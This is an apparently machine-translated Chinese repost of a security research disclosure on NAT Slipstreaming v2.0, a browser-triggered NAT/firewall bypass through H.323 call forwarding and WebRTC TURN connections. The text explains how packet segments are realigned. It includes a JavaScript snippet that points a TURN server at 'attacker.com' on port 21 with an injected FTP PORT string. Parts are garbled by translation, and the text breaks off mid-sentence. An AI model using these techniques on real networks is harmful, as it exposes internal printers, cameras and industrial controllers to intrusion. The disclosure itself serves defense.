Nat Slipstreaming v2.0

2021-01-29 05:56:43

NAT Slipstreaming v2.0:新的攻击变体可以将所有内部网络设备暴露给Internet

新的变体攻击可以使攻击者绕过NAT和网络攻击。通过Internet防火墙并到达内部网络中任何不受管理的设备。

Armis的研究人员发现了NAT Slipstreaming攻击的新变种,与最初的攻击发现者Samy Kamkar(Openpath Security Inc.首席安全官兼联合创始人)共同努力。

新的攻击变体可以使攻击者访问内部网络中的任何设备,仅需要受害者单击恶意链接即可。

攻击对不受管理的设备的影响可能非常严重,从令人讨厌到全面的勒索软件攻击不等。

确认来自Fortinet,Cisco和HPE的企业级NAT /防火墙受到影响,而其他一些可能也受到影响

谷歌,苹果,Mozilla和微软已经发布了针对Chrome,Safari,Firefox和Edge的补丁,这些补丁可以缓解新的变种

Armis平台可帮助识别有风险的端点设备(运行未修补的浏览器版本),并检测NAT滑流攻击的利用尝试

Armis研究人员Ben Seri和Gregory Vishnepolsky发现了一种称为NAT Slipstreaming的NAT绕过技术的新变种,并与安全研究人员Samy Kamkar(最初于2020年10月31日公开该技术)合作,以更好地理解攻击并减轻攻击它。新发现包括一种绕过NAT和防火墙到达内部网络上任何设备的方法。虽然最初的攻击通过浏览器补丁得以部分缓解,但新的变体引入了绕过这些缓解措施的其他原语。因此,这项新发现导致了与领先的浏览器供应商的安全性披露-Google的Chrome,Mozilla的Firefox和Apple的Safari。虽然此攻击的根本问题是实现NAT的方式(在众多供应商和应用程序中,通过路由器和防火墙中的各种方式),但缓解此漏洞的最简单,最快的方法是通过浏览器补丁。在上个月,上述所有浏览器均发布了包含缓解此攻击的缓解措施的版本(Chrome v87.0.4280.141,Firefox v85.0,Safari v14.0.3)。微软的Edge浏览器现在也得到了补丁,因为它依赖于Chromium源代码。 Chromium通过CVE-2020-16043跟踪新变种,而Firefox通过CVE-2021-23961跟踪新变种。

原始的NAT窜流攻击依赖于内部网络中的受害者,该受害者单击指向攻击者网站的链接,从而导致攻击者欺骗受害者网络的NAT,以打开(TCP或UDP的)传入路径端口)从互联网连接到受害设备。新的变体扩展了此攻击,使攻击者可以以这种方式欺骗NAT,即它将创建到内部网络上任何设备的传入路径,而不仅是到单击链接的受害设备的传入路径。

通过允许攻击者将内部网络上的设备直接暴露给Internet,这使嵌入式,不受管理的设备面临更大的风险。尽管这样的壮举可能会增加攻击网络中任何设备的风险,但是对于非托管设备而言,这种风险尤其巨大,因为这些设备没有固有的安全功能,并且经常提供用于控制它们和访问其设备的接口。内部网络中几乎没有认证的数据。将这些接口直接暴露给Internet会带来严重的安全风险。示例包括:

可以通过其默认打印协议或内部Web服务器控制的办公室打印机。

具有内部Web服务器显示其源的IP摄像机,通常可以使用默认凭据对其进行访问。

使用NAT Slipstreaming攻击的新变种从Internet访问这些类型的接口,可能导致攻击范围从讨厌的东西到复杂的勒索软件威胁。

Warning: Can only detect less than 5000 characters

作为Samy作品的忠实拥护者,我们对他的最新发现很感兴趣,并开始就如何绕过NAT的新方法集思广益,对一些想法进行了理论化处理,并写下了一些笔记。绕开了最初的任务,我们发现了EtherOops攻击。虽然很明显,这次袭击绝对不是Samy所想的,但我们坚持不懈,并于去年8月发表了这项研究。

去年10月,萨米(Samy)发表了他的作品,我们立即回到笔记中,并将其与萨米(Samy)的发现进行了比较。基于Samy的想法,并将其与我们自己的想法相结合,导致我们发现了新的变体。

与大多数其他ALG不同,H.323 ALG在支持下使攻击者能够在NAT /防火墙中创建任何内部IP的针孔,而不仅仅是单击恶意链接的受害者IP。

浏览器可以通过TCP建立WebRTC TURN连接到任何目标端口。此逻辑未参考浏览器的受限端口列表,因此被绕过了。这使攻击者可以访问其他ALG,例如FTP和IRC ALG(端口21、6667),这些端口以前由于端口限制列表而无法访问。 FTP ALG被广泛用于NAT /防火墙。

这也击败了Samy首次发布NAT Slipstreaming攻击后不久引入的浏览器缓解措施,该攻击将SIP端口(5060)添加到了受限端口列表中,但并未阻止该端口通过TURN连接可访问。

H.323是类似于SIP的VoIP协议,它也非常复杂。为了使VoIP电话网络正常运行,同时在拓扑内部的某个位置具有NAT,则需要H.323 ALG。 H.323 ALG需要转换应用程序层H.323协议数据包中包含的IP地址,并在某些情况下在NAT中造成漏洞。

大多数ALG只需要担心会话中最多要转换的两个地址-TCP连接双方的IP地址(和端口)。但是,H.323是电话协议,并且支持呼叫转移。因此,在这种情况下,会话中的一方可以引用属于该呼叫应转发到的VoIP电话的第三方IP地址。

大多数H.323 ALG支持此功能。对于Linux conntrack模块,可以在下面看到此行为的图形说明:

分析上面链接的代码,可以发现通过TCP端口1720发送的单个H.323数据包启动了呼叫转移,可以打开网络上任何内部IP的任何TCP端口的针孔(在conntrack子系统中称为期望)。

内部网络(在上述情况下为智能手机,通过WiFI连接到网络)中的受害设备单击Internet上位于攻击者服务器上的恶意链接。

该链接会在智能手机的浏览器上打开一个网页,该网页在后台运行Javascript代码,并通过H.323端口(1720)将多个获取请求发送回攻击者的服务器。在最近的补丁程序之前,该端口未被浏览器阻止。

H.323端口上的每个获取请求均由HTTP标头(主要由浏览器控制)和有效载荷构成,攻击者可以完全控制该有效载荷,并且可以将其设置为包括一些填充字节,定界符(唯一序列)字节),以及随后可以由NAT解析为H.323呼叫转发消息的字节序列。该请求故意过大(其大小可以由填充字节的数量控制),从而使受害设备的TCP / IP堆栈将其拆分为多个TCP段。

攻击者的服务器接收每个提取请求,并检测其中的定界符。攻击者可以使用定界符的偏移量更改连接的MSS(最小段大小),或在TCP流上发送部分ACK。两种方法都可以有效地使受害者的操作系统将请求中的H.323呼叫转发消息与TCP段的开头对齐。

一旦发生上述片段的重新对齐,NAT现在将解析包含H.323呼叫转移消息的TCP片段,并添加必要的NAT规则以促进潜在的“呼叫转移”。如上所述,攻击者也能够控制“呼叫”被转发到的内部IP和端口。这意味着,对于从受害者的浏览器发送的每个提取请求,攻击者都可以在NAT中为内部网络中的某个IP /端口打开漏洞。

结合以上步骤,攻击者可以遍历一系列IP地址和端口,每次打开Internet的IP /端口。如上面的视频所示,此阶段可能是攻击者执行侦察步骤之前确定他想瞄准网络上哪个设备的非常有效的工具。在上面的演示中,攻击者公开了内部网络中所有IP地址的HTTP端口(80),然后获取了响应的任何设备的HTTP标语。这使他可以识别托管Web服务器的嵌入式设备,并相应地调整其第二阶段攻击。

在上面的演示中,攻击的第二阶段包含攻击者打开Xerox打印机的默认打印机端口(9100),向其发送打印作业,以及使用其默认凭据访问Axis IP摄像机的视频供稿,通过其Web服务器。

我们另外开发了一个演示,以展示这种攻击对工业控制器的风险,该工业控制器具有可通过网络访问的未经身份验证的管理端口。打开该端口(在下面的演示中,目标是罗克韦尔自动化PLC,该罗克韦尔自动化PLC通过ENIP / CIP端口-44818进行管理)通过一系列内部IP地址连接到Internet,这使得攻击者能够检测到无需任何身份验证即可了解网络中PLC的详细信息,更改程序代码或更改配置。

在上面的演示中,模拟了一个制造工厂,其中多个PLC(可编程逻辑控制器)连接到内部网络。通过第一个演示中所示的类似攻击,攻击者可以从Internet识别并控制网络中的任何PLC,而无需身份验证!

虽然这两个演示都要求攻击者猜测内部网络的IP范围,但是使用各种已知技术(例如,参见Samy的最新项目WebScan)可以很容易地实现这一目标。

TURN是WebRTC使用的协议,用于允许位于两个单独NAT之后的两个对等方通过中介TURN服务器进行通信。 WebRTC通信通常通过UDP进行,但是也可以将其配置为通过TCP传输。

如上所述,我们发现通过建立TURN连接,可以绕过浏览器的受限端口列表,并创建到TCP或UDP任何端口的流量。例如,在WebRTC连接中使用以下TURN服务器时,可以建立此地址:“ turn:attacker.com:21?transport = tcp”。使用此配置,WebRTC将通过TCP端口21创建TURN连接。

var server = {iceServers:[{urls:[" turn:attacker.com:21?transport = tcp"],)用户名:" ARBITRARY_STRING&#34 ;,凭据:" STR#_ 34 ;,}},iceTransportPolicy:" relay" }; var pc = new RTCPeerConnection(servers);

从上面可以看出,攻击者可以控制将通过TCP连接发送的用户名字段,作为与TURN服务器进行身份验证的一部分。然后,由攻击者控制的TURN服务器可以调整连接的MSS(或手动管理TCP序列号,如下所示),以便受害浏览器将在单独的TCP段的开头发送由攻击者控制的用户名字段。

在上面的Wireshark跟踪中,前三个数据包通常在受害者的浏览器和攻击者的服务器之间交换。在第三个数据包中,用户名字段包含字符串“ \ r \ nPORT 192,168,1,29,4,0 \ r \ n”。只要字符串是有效的UTF-8(在Chromium下),就可以使用换行符甚至NULL字节。第4个封包是来自攻击者服务器的部分ACK,导致第5个封包是来自受害计算机的部分重传,从FTP PORT命令的开头开始,在攻击者希望的位置开始。还可以在攻击者的ACK数据包中制作TCP窗口字段(未显示),以完全控制TCP流的分段方式。

该原语使攻击者可以在通常受限制的端口(例如FTP和IRC)上访问ALG。这两个ALG都可用于创建回到受害者内部IP的针孔。

如上所述,NAT Slipstreaming攻击的新变体包含两个原语,第一个探索H.323 ALG,第二个通过滥用WebRTC TURN服务器来扩展浏览器可访问的各种NAT ALG的攻击面。通过Javascript的API。但是,此攻击带来的实际风险取决于通过不同的浏览器原始数据生成的第二阶段流量与目标NAT的特定实现之间的相互作用。并非所有NAT都支持所有ALG或默认情况下启用它们,并且NAT ALG的实际实现有很大不同,并且可以以不同的方式限制潜在的攻击。

我们进行了几次测试,以建立针对滥用各种路由器/防火墙供应商的各种ALG实施上述技术的影响。许多商业或开源路由器/防火墙产品都允许以VM的形式评估其产品,该VM运行与真实产品完全相同的软件。我们在此类VM上进行了大多数测试。

应该注意的是,在Linux上,从内核版本4.14开始,“出于安全原因已关闭默认的自动帮助程序分配”(在这种情况下,helper表示ALG)。这将禁用我们正在利用的确切行为。这非常好,但是,许多消费级路由器都运行较旧的内核,并且一些更新的基于Linux的产品使用“ / proc / sys / net / netfilter / nf_conntrack_helper”标志重新启用此禁用的功能,因为它仍然存在对许多用户有用。

VyOS是基于Linux的路由器/防火墙发行版,带有内核4.14+ FTP ALG,并且仅允许连接回受害者的内部IP,但可以连接所有端口。 始终存在各种消费级Linux路由器,以及可能具有较早内核版本的FTP ALG,它们仅允许连接回受害者的内部IP,但可以连接回所有端口。 我们测试的大多数路由器都启用了H.323 ALG,并允许连接到所有端口上的所有内部IP。 加强FG ......